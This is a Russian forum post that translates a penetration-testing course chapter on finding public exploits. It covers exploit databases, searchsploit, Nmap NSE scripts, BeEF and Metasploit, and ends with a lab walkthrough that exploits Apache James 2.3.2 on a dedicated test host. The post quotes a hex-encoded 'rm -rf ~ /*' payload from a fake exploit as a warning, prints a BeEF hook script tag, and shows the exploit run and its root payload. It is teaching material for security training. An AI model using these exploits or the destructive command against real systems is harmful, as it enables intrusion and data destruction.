Статья PWK-(14) Поиск общедоступных эксплойтов

disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 14. Поиск общедоступных эксплойтов. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Вступление

В этой главе мы сосредоточимся на различных онлайн-ресурсах, содержащих эксплойты для общеизвестных уязвимостей. Также проверим доступные в Kali оффлайн-инструменты, содержащие локально размещенные эксплойты.

Предостережение

Важно понимать, что, скачивая и запуская публичные эксплойты, можно поставить под угрозу любую систему, на которой запускается этот код. Зная это, необходимо внимательно прочитать и понять код перед выполнением, чтобы избежать негативных последствий.

Возьмем, к примеру, 0pen0wn, который был опубликован как удаленный эксплойт для SSH. Читая исходный код, было замечено, что он запрашивает root-права, что выглядело подозрительным:

Код:
if (geteuid()) {
    puts("Root is required for raw sockets, etc."); return 1;
}
Листинг 1 - Вредоносный SSH-эксплойт, запрашивающий root-права на атакующей машине

Дальнейшее изучение кода выявило интересный jmpcode-массив:

Код:
[...]
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
[...]
Листинг 2 - Вредоносный SSH использует шестнадцатеричную полезную нагрузку

Несмотря на то, что он был замаскирован под шелл-код, массив jmpcode оказался шестнадцатеричным кодом, содержащим вредоносную shell-команду:

Python:
kali@kali:~$ python

>>> jmpcode = [
... "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
... "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"]
>>> print jmpcode
['rm -rf ~ /* 2> /dev/null &']
>>>
Листинг 3 - Вредоносный пэйлоад SSH-эксплойта, который снесет атакующую машину

Эта команда может запросто уничтожить UNIX-подобную файловую систему атакующего. В последующих строках программа подключится к общедоступному IRC серверу, чтобы сообщить о тупости пользователя на весь мир, что делает этот эксплойт чрезвычайно опасным и пристыжающим!

Учитывая эту опасность, мы будем полагаться на более надежные репозитории эксплойтов в этом разделе.

Онлайн-ресурсы, упомянутые в этом разделе, анализируют код эксплойта перед размещением его онлайн. Тем не менее, даже при использовании этих доверенных ресурсов важно правильно прочитать код и получить общее представление о том, что он будет делать при выполнении. Даже если вы не считаете себя программистом, это отличный способ улучшить свои навыки чтения кода и даже спастись от стыда однажды!

Эксплойты, написанные на низкоуровневом языке программирования и требующие компиляции, часто размещены как в исходном коде, так и в двоичном формате. Исходный код легче проверить, но он может быть громоздким для компиляции. Бинарные файлы сложнее проверять (без специальных навыков и инструментов), но их проще запустить.

Если проверка или компиляция кода слишком сложны, настройте пустую виртуальную машину как полигон для тестирования эксплойтов или "песочницу".

Поиск эксплойтов

После сбора информации можно перепроверить обнаруженное ПО на известные уязвимости в попытке найти опубликованные эксплойты для этих уязвимостей.

Онлайн-ресурсы

На различных онлайн-ресурсах размещен код эксплойтов, и он бесплатно предоставляется широкой публике. В следующих раздах мы рассмотрим три самых популярных интернет-ресурса. Эти ресурсы обычно проводят проверку представленного эксплойта и удаляют все, что считается поддельным или вредоносным.

Exploit Database

- это проект, поддерживаемый . Это бесплатный архив общедоступных эксплойтов, собранных через почтовые рассылки и публичные ресурсы.

The_Exploit_Database.png

Рисунок 1: Домашняя страница Exploit Database

В отличие от других онлайн-ресурсов, Exploit Database иногда предоставляет установщик уязвимой версии ПО для исследовательских целей. Когда установщик доступен, он отмечен значком на сайте в столбце A, как показано на рис. 1.

Об обновлениях Exploit Database объявляется в и .

SecurityFocus Exploit Archives

Сайт был создан в 1999 году и фокусируется на нескольких ключевых областях, важных для сообщества безопасников:

  • BugTraq: список рассылки с полным раскрытием информации с целью обсуждения и объявления уязвимости безопасности.
  • База данных уязвимостей SecurityFocus: предоставляет актуальную информацию об уязвимостях для всех платформ и сервисов.
  • Списки рассылки SecurityFocus: тематические списки рассылки позволяют исследователям мир для обсуждения различных вопросов безопасности.

SecurityFocus_Exploit_Archives.png

Рисунок 2: Домашняя страница SecurityFocus

SecurityFocus объявляет об обновлениях в и .

Packet Storm

был основан в 1998. Там публикуются новости ИБ, предоставляется актуальная информация по уязвимостям.

Packet_Storm.png

Рисунок 3: Домашняя страница PacketStorm

Как и вышеописанные онлайн-ресурсы, Packet Storm делает публикации в и .

Расширенный поиск Google

Вдобавок к отдельным сайтам, рассмотренным выше, мы можем искать сайты с эксплойт-хостингом, используя традиционные поисковые системы.

Можно начать поиск определенного ПО и версии, за которым следует ключевое слово эксплойта и содержит различные операторы поиска (например, используемые поисковиком ), чтобы сузить поиск. Овладение этими расширенными инструментами может помочь нам адаптировать результаты поиска, чтобы находить именно то, что нужно.

В качестве примера мы можем использовать следующий поисковый запрос, чтобы найти уязвимости, влияющие на Microsoft Edge и ограничить результаты выдачи только теми эксплойтами, которые размещены на Exploit Database:

Bash:
kali@kali:~$ firefox --search "Microsoft Edge site:exploit-db.com"
Листинг 4 - Использование Google для поиска эксплойтов на Microsoft Edge на сайте exploit-db.com

Некоторые другие операторы поиска, которые можно использовать для точной настройки, включают "inurl", "intext" и "intitle".

Будьте максимально внимательны, используя эксплойты с немодерируемых ресурсов!

Оффлайн-ресурсы

Интернет не всегда доступен во время пентеста. Для случаев, когда тестирование проводится в изолированной среде, дистрибутив Kali Linux поставляется с различными инструментами, обеспечивающими автономный доступ к эксплойтам.

SearchSploit

База данных эксплойтов соджержит архивную копию всего размещенного кода эксплойтов.

Этот архив по умолчанию включен в Kali в пакете exploitdb. Мы рекомендуем обновить пакет перед любым тестированием, чтобы убедиться, что у вас есть последние эксплойты. Это можно сделать с помощью следующих команд:

Bash:
kali@kali:~$ sudo apt update && sudo apt install exploitdb
...

The following packages will be upgraded:
    exploitdb
1 upgraded, 1 newly installed, 0 to remove and 739 not upgraded.
Need to get 23.9 MB/24.0 MB of archives.
After this operation, 2,846 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.mirror.globo.tech/kali kali-rolling/main amd64 exploitdb all 2018022
Fetched 23.9 MB in 3s (8,758 kB/s)
Reading changelogs... Done
...
Setting up exploitdb (20180220-0kali1) ...
Листинг 5 - Обновление пакета exploitdb из репозиториев Kali Linux

Приведенная выше команда обновляет локальную копию архива базы данных эксплойтов в /usr/share/exploitdb/. Этот каталог разделен на два основных раздела, exploits и shellcodes:

Bash:
kali@kali:~$ ls -1 /usr/share/exploitdb/
exploits
files_exploits.csv
files_shellcodes.csv
shellcodes
Листинг 6 - Список двух основных разделов в главном каталоге архива
Каталог эксплойтов далее разделен на отдельные каталоги для каждой операционной системы, архитектуры и скриптового языка:

Bash:
kali@kali:~$ ls -1 /usr/share/exploitdb/exploits/
aix
android
arm
ashx
asp
aspx
atheos
beos
bsd
bsd_x86
cfm
cgi
freebsd
freebsd_x86
...
Листинг 7 - Список содежимого в директории exploits

Ручной поиск в базе данных эксплойтов отнюдь не идеален, учитывая большое количество эксплойтов в архиве. Здесь пригодится утилита searchsploit.

Мы можем запустить searchsploit из командной строки без каких-либо параметров для отображения его использования:

Bash:
kali@kali:~$ searchsploit
     Usage: searchsploit [options] term1 [term2] ... [termN]
Листинг 8 - Cинтаксис команд searchsploit

Как показано на примерах ниже, searchsploit позволяет искать по всему архиву и отображать результаты на основе различных условий поиска, представленных в качестве аргументов:

Код:
==========
Examples
==========
     searchsploit afd windows local
     searchsploit -t oracle windows
     searchsploit -p 39446
     searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
 
     For more examples, see the manual: https://www.exploit-db.com/searchsploit/
Листинг 9 - Примеры команд Searchsploit

Параметры позволяют сузить область поиска, изменить формат вывода, обновить базу данных и многое другое:

Код:
=========
Options
=========
-c, --case [Term] Perform a case-sensitive search (Default is inSEnsITiVe).
-e, --exact [Term] Perform an EXACT match on exploit title (Default is AND) [I
-h, --help Show this help screen.
-j, --json [Term] Show result in JSON format.
-m, --mirror [EDB-ID] Mirror (aka copies) an exploit to the current working direc
-o, --overflow [Term] Exploit titles are allowed to overflow their columns.
-p, --path [EDB-ID] Show the full path to an exploit (and also copies the path
-t, --title [Term] Search JUST the exploit title (Default is title AND the fil
-u, --update Check for and install any exploitdb package updates (deb or
-w, --www [Term] Show URLs to Exploit-DB.com rather than the local path.
-x, --examine [EDB-ID] Examine (aka opens) the exploit using $PAGER.
    --colour Disable colour highlighting in search results.
    --id Display the EDB-ID value rather than local path.
    --nmap [file.xml] Checks all results in Nmap's XML output with service version
                         Use "-v" (verbose) to try even more combinations
    --exclude="term" Remove values from results. By using "|" to separated you ca
                         e.g. --exclude="term1|term2|term3".
Листинг 10 - Список параметров searchsploit

Наконец, раздел "Notes" в меню справки содержит полезные советы по поиску:

Код:
=======
Notes
=======
 * You can use any number of search terms.
 * Search terms are not case-sensitive (by default), and ordering is irrelevant.
    * Use '-c' if you wish to reduce results by case-sensitive searching.
    * And/Or '-e' if you wish to filter results by using an exact match.
 * Use '-t' to exclude the file's path to filter the search results.
    * Remove false positives (especially when searching using numbers - i.e. versions).
 * When updating or displaying help, search terms will be ignored.
Листинг 11 - Подсказки searchsploit

Например, мы можем найти все доступные удаленные эксплойты, нацеленные на службу SMB в операционной системе Windows, используя следующий синтаксис:

Bash:
kali@kali:~$ searchsploit remote smb microsoft windows
--------------------------------------- ----------------------------------------
Exploit Title                          |    Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Microsoft DNS RPC Service - 'extractQu | exploits/windows/remote/16366.rb
Microsoft Windows - 'srv2.sys' SMB Cod | exploits/windows/remote/40280.py
Microsoft Windows - 'srv2.sys' SMB Neg | exploits/windows/remote/14674.txt
Microsoft Windows - 'srv2.sys' SMB Neg | exploits/windows/remote/16363.rb
Microsoft Windows - SMB Relay Code Exe | exploits/windows/remote/16360.rb
Microsoft Windows - SmbRelay3 NTLM Rep | exploits/windows/remote/7125.txt
Microsoft Windows - Unauthenticated SM | exploits/windows/dos/41891.rb
Microsoft Windows 2000/XP - SMB Authen | exploits/windows/remote/20.txt
Microsoft Windows 2003 SP2 - 'ERRATICG | exploits/windows/remote/41929.py
Microsoft Windows 95/Windows for Workg | exploits/windows/remote/20371.txt
Microsoft Windows NT 4.0 SP5 / Termina | exploits/windows/remote/19197.txt
Microsoft Windows Server 2008 R2 (x64) | exploits/windows/remote/41987.py
Microsoft Windows Vista/7 - SMB2.0 Neg | exploits/windows/dos/9594.txt
Microsoft Windows Windows 7/2008 R2 (x | exploits/windows_x86-64/remote/42031.py
Microsoft Windows Windows 7/8.1/2008 R | exploits/windows/remote/42315.py
Microsoft Windows Windows 8/8.1/2012 R | exploits/windows_x86-64/remote/42030.py
--------------------------------------- ----------------------------------------
Shellcodes: No Result
Листинг 12 - Использование searchsploit для вывода списка доступных удаленных эксплойтов Windows SMB

Nmap NSE Scripts

Nmap - один из самых популярных инструментов для сбора информации. Одна очень мощная особенность этого инструмента - , который, как следует из названия, предоставляет возможность автоматизировать различные задачи с использованием скриптов.

Nmap Scripting Engine сопровождетеся множеством скриптов для сбора информации, перебора, фаззинга, обнаружения, а также эксплойт-сервисами. Полный список скриптов, предоставляемых Nmap Scripting Engine, находится в /usr/share/nmap/scripts. Использование grep для быстрого поиска в скриптах NSE по слову "Exploits" возвращает несколько результатов:

Bash:
kali@kali:~$ cd /usr/share/nmap/scripts

kali@kali:/usr/share/nmap/scripts$ grep Exploits *.nse
clamav-exec.nse:Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution.
http-awstatstotals-exec.nse:Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
http-axis2-dir-traversal.nse:Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by
http-fileupload-exploiter.nse:Exploits insecure file upload forms in web applications
...
Листинг 13 - Список NSE скриптов, содержащих слово "Exploits"

Мы можем получить информацию о конкретных сценариях NSE, запустив nmap с параметром --script-help за которым следует имя файла сценария:

Bash:
kali@kali:~$ nmap --script-help=clamav-exec.nse

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 13:41 MDT

clamav-exec
Categories: exploit vuln
https://nmap.org/nsedoc/scripts/clamav-exec.html
Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution.

ClamAV server 0.99.2, and possibly other previous versions, allow the execution of dangerous service commands without authentication. Specifically, the command 'SCAN' may be used to list system files and the command 'SHUTDOWN' shut downs the service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).

This script without arguments test the availability of the command 'SCAN'.

Reference:
* https://twitter.com/nitr0usmx/status/740673507684679680
* https://bugzilla.clamav.net/show_bug.cgi?id=11585
Листинг 14 - Использование Nmap NSE для получения информации о скрипте

Это предоставляет информацию об уязвимости и внешних информационных ресурсах.

The Browser Exploitation Framework (BeEF)

- это инструмент для пентеста, ориентированный на client-side атаки, совершаемые в браузере. Излишне говорить, что он включает в себя множество эксплойтов.

Чтобы получить список доступных эксплойтов, мы должны сначала запустить необходимые сервисы. Это можно сделать автоматически в Kali Linux с помощью команды beef-xss:

Код:
kali@kali:~$ sudo beef-xss
[*] Please wait as BeEF services are started.
[*] You might need to refresh your browser once it opens.
[*] UI URL: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
Листинг 15 - Запуск сервисов BeEF в Kali Linux

Мы можем перейти на , используя учетные данные по умолчанию beef/beef для входа в основной интерфейс фреймворка:

BeEF_1.png

Рисунок 4: Страница входа в BeEF

Войдя в систему, нужно подключить браузер жертвы. Поскольку продвинутый перехват вне рамок этого раздела, мы будем использовать демонстрационную страницу, предоставленную фреймворком. Это позволит BeEF подключить (hook) наш браузер:

BeEF_2.png

Рисунок 5: Доступ к демонстрационной странице BeEF

Как только наш браузер подключен (hooked), он появится на панели "Hooked Browsers" консоли BeEF как IP-адрес localhost 127.0.0.1. Нажатие на наш IP (теперь известный как zombie) должно представить нам новую страницу, содержащую подробную информацию о браузере-жертве. Затем мы можем перейти на вкладку Commands, где мы можем найти различные скрипты и эксплойты:

BeEF_3.png

Рисунок 6: Доступные BeEF эксплойты

The Metasploit Framework

- отличный фреймворк, созданный для помощи в разработке и выполнении эксплойтов. Этот фреймворк по умолчанию доступен в Kali Linux и может быть запущен с помощью команды msfconsole:

Bash:
kali@kali:~$ sudo msfconsole -q

msf >
Листинг 16 - Запуск Metasploit

Использование этой структуры подробно рассматривается в другом разделе, поэтому мы сосредоточимся на перечислении эксплойтов, доступных в фреймворке с помощью команды search.

Чтобы продемонстрировать это, рассмотрим поиск популярной уязвимости :

Код:
msf > search ms08_067

Matching Modules
================

Name                                     Disclosure Date     Description
----                                     ---------------     -----------
exploit/windows/smb/ms08_067_netapi      2008-10-28          MS08-067 Microsoft Server Service Relative Path Stack Corruption
Листинг 17 - Поиск эксплойта ms08_067 в Metasploit

Команда поиска Metasploit включает множество ключевых слов, которые помогут найти конкретный эксплойт. Чтобы просмотреть все доступные параметры, введите search с параметром -h:

Код:
msf5 > search -h
Usage: search [ options ] <keywords>

OPTIONS:
    -h Show this help information
    -o <file> Send output to a file in csv format
    -S <string> Search string for row filter
    -u Use module if there is one result

Keywords:
    aka : Modules with a matching AKA (also-known-as) name
    author : Modules written by this author
    arch : Modules affecting this architecture
    bid : Modules with a matching Bugtraq ID
    cve : Modules with a matching CVE ID
    edb : Modules with a matching Exploit-DB ID
    check : Modules that support the 'check' method
    date : Modules with a matching disclosure date
    description : Modules with a matching description
    full_name : Modules with a matching full name
    mod_time : Modules with a matching modification date
    name : Modules with a matching descriptive name
    path : Modules with a matching path
    platform : Modules affecting this platform
    port : Modules with a matching port
    rank : Modules with a matching rank (Can be descriptive (ex: 'good') or nume
    ref : Modules with a matching ref
    reference : Modules with a matching reference
    target : Modules affecting this target
    type : Modules of a specific type (exploit, payload, auxiliary, encoder, eva

Examples:
    search cve:2009 type:exploit
Листинг 18 - Вывод всех параметров поиска Metasploit

Собираем все воедино

Располагая всеми ресурсами, давайте продемонстрируем, как это будет выглядеть в реальности. Мы собирается атаковать наш выделенный клиент Linux, на котором размещено приложение, уязвимое для общедоступных эксплоитов.

Мы начинаем процесс сбора информации с запуска nmap, чтобы определить, какие сервисы были выставлены машиной в сеть:

Bash:
kali@kali:~# sudo nmap 10.11.0.128 -p- -sV -vv --open --reason
...
Scanning 10.11.0.128 [65535 ports]
Discovered open port 3389/tcp on 10.11.0.128
Discovered open port 110/tcp on 10.11.0.128
Discovered open port 25/tcp on 10.11.0.128
Discovered open port 22/tcp on 10.11.0.128
Discovered open port 119/tcp on 10.11.0.128
Discovered open port 4555/tcp on 10.11.0.128
Completed SYN Stealth Scan at 14:23, 49.03s elapsed (65535 total ports)
Initiating Service scan at 14:23
Scanning 6 services on 10.11.0.128
Completed Service scan at 14:23, 11.47s elapsed (6 services on 1 host)
NSE: Script scanning 10.11.0.128.
...
Nmap scan report for 10.11.0.128
Host is up, received arp-response (0.15s latency).
Scanned at 2019-04-13 14:22:57 EEST for 61s
Not shown: 65304 closed ports, 225 filtered ports
Reason: 65304 resets and 225 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT        STATE    SERVICE       REASON          VERSION
22/tcp      open     ssh           syn-ack ttl 64  OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2
25/tcp      open     smtp          syn-ack ttl 64  JAMES smtpd 2.3.2
110/tcp     open     pop3          syn-ack ttl 64  JAMES pop3d 2.3.2
119/tcp     open     nntp          syn-ack ttl 64  JAMES nntpd (posting ok)
3389/tcp    open     ms-wbt-server syn-ack ttl 64  xrdp
4555/tcp    open     james-admin   syn-ack ttl 64  JAMES Remote Admin 2.3.2
MAC Address: 00:50:56:93:2E:E7 (VMware)
Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 61.11 seconds
           Raw packets sent: 76606 (3.371MB) | Rcvd: 71970 (2.879MB)
Листинг 19 - Использование nmap для сбора информации об открытых сервисах на клиенте Linux

Основываясь на результатах нашего сканирования, полагаем, что в системе запущен SSH-сервер на TCP-порту 22, XRDP на TCP-порту 3389 и различные сервисы, отмеченные как "JAMES". Поиск в Google информации о том, что такое сервисы JAMES, показывает, что наша цель использует Apache James.

Чтобы найти доступные эксплойты, мы запустим searchsploit:

Bash:
kali@kali:~$ searchsploit james
--------------------------------------- ----------------------------------------
Exploit Title                          | Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Apache James Server 2.2 - SMTP Denial  | exploits/multiple/dos/27915.pl
Apache James Server 2.3.2 - Remote Com | exploits/linux/remote/35513.py
WheresJames Webcam Publisher Beta 2.0. | exploits/windows/remote/944.c
--------------------------------------- ----------------------------------------
Листинг 20 - Использование searchsploit для поиска эксплойтов, нацеленных на Apache James

Среди результатов мы видим, что один из эксплойтов нацелен на конкретный Apache James, а именно . Беглый взгляд на этот эксплойт показывает, что он принимает IP-адрес как аргумент и выполняет команду от пользователя с правами root, определенную в переменной payload:

Код:
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
Листинг 21 - Пэйлоад, выполняемый пользователем root при эксплуатации

Теперь, когда мы нашли эксплойт, попытаемся запустить его на нашем выделенном Linux-клиенте без модификаций.

Bash:
kali@kali:~$ python /usr/share/exploitdb/exploits/linux/remote/35513.py 10.11.0.128
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.
Листинг 422 - Запуск эксплойта против нашего выделенного клиента Linux

Эксплойт, похоже, работает без каких-либо ошибок, и он сообщает нам, что пэйлоад будет выполняться, когда кто-то входит в систему.

Мы подключаемся к нашему выделенному клиенту Linux, чтобы имитировать вход в систему, который обычно выполняет жертва и замечаем, что мы получаем дополнительный вывод инфрмации (от эксплойта), который не возник бы во время стандартного сеанса входа в систему:

Код:
kali@kali:~$ ssh root@10.11.0.128
root@10.11.0.128's password:
...
-bash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317003\ݬ :'co
mmand not found
-bash: L: command not found
-bash: attributestLjava/util/HashMap: No such file or directory
-bash: L
        errorMessagetLjava/lang/String: No such file or directory
-bash: L
        lastUpdatedtLjava/util/Date: No such file or directory
-bash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
-bash: $'L\004nameq~\002L': command not found
-bash: recipientstLjava/util/Collection: No such file or directory
-bash: L: command not found
-bash: $'remoteAddrq~\002L': command not found
-bash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
-bash: $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found
-bash: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
-bash: @team.pl>
Message-ID: <31878267.0.1555158659200.JavaMail.root@debian>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received:     from vpn.hacker.localdomain ([10.11.11.10])
            by debian (JAMES SMTP Server 2.3.2) with SMTP ID 330
            for <../../../../../../../../etc/bash_completion.d@localhost>;
            Sat, 13 Apr 2019 08:30:53 -0400 (EDT)
Date: Sat, 13 Apr 2019 08:30:53 -0400 (EDT)
From: team@team.pl

: No such file or directory
-bash: $'\r': command not found
root@debian:~#
Листинг 23 - Вход в выделенный клиент Linux с использованием SSH для имитации жертвы

Если все работает по плану, мы должны увидеть файл proof.txt в корневой директории /root.

Bash:
root@debian:~# ls -lah /root/proof.txt
-rw-r--r-- 1 root root 0 Apr 13 08:34 /root/proof.txt
Листинг 24 - Проверка выполнения пэйлоада при входе в систему

Отлично! Похоже, что эксплойт работает.

Заключение

В этой главе мы обсудили риски, связанные с запуском кода, полученного из ненадежных источников. Также рассмотрели различные онлайн-ресурсы, на которых размещен код эксплойтов для широко известных уязвимостей, а также ресурсы, не требующие подключения к интернету. Наконец, мы рассмотрели сценарий, показывающий, как такие онлайн-ресурсы могут быть использованы для поиска общедоступных эксплойтов для ПО, обнаруженного на этапе сбора информации о цели.
 
Последнее редактирование:
  • Нравится
Реакции: Sunnych и MLNK
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD